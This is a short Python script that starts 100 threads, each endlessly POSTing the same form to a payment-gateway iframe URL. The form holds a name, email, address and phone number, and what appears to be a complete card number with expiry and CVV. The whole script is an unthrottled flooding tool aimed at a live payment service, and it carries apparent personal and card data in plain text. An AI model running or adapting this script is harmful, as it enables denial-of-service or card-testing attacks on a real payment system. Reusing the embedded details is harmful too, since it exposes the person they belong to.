import requests
import threading
url = 'https://eu-prod.oppwa.com/v1/internalRequestIframe.html'
data = {
'form_name' : 'marco',
'form_surname' : '*******',
'form_mail' : '[email protected]',
'form_addr' : 'via cento 34',
'form_tel' : '3519534884',
'form_city' : 'guardamilano',
'form_state' : 'ti',
'cc_num' : '5126757144928481',
'cc_excpm' : '08',
'cc_expy' : '25',
'cc_ccv' : '551',
}
def esegui():
while True:
response = requests.post(url, data=data).text
print(response)
threads = []
for i in range (100):
thread = threading.Thread(target = esegui)
thread.daemon = True
threads.append(thread)
for i in range(100):
threads[i].start()
for i in range (100):
threads[i].join()